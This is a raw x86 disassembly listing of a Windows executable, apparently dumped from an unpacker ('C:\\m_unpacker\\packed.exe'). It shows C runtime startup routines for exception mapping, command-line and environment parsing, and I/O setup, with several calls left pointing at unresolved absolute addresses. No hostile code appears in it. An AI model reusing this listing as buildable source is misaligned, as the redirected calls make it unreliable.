		mov	ecx, dword_43C970
		mov	edx, dword_43C974
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C900h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C97C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C97C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C97C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C97C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C97C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C97C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C97C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C97C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C97C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C97C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB380, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2620000h
		nop


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8F8, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC954, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC94C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB318
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2D0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB318
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB318
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB318, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC950, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		mov	eax, dword_4DC94C
		mov	off_4DB2E0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB2C8, esi
		pop	edi
		pop	esi
		mov	dword_4DB2C4, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB488
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB488, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2610B07h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB488, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2610DF5h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2610B07h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2610E16h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC600, esi
		mov	dword_4DC700, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC600
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2880000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC700, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC604


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC700, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC700, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC700


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC600
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2610818h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC700
		nop
		call	near ptr 2610A67h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB320
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2F4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB48C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C988


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43CA18
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C988[esi]
		jnz	loc_423719
		mov	eax, dword_4DB320
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2F4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


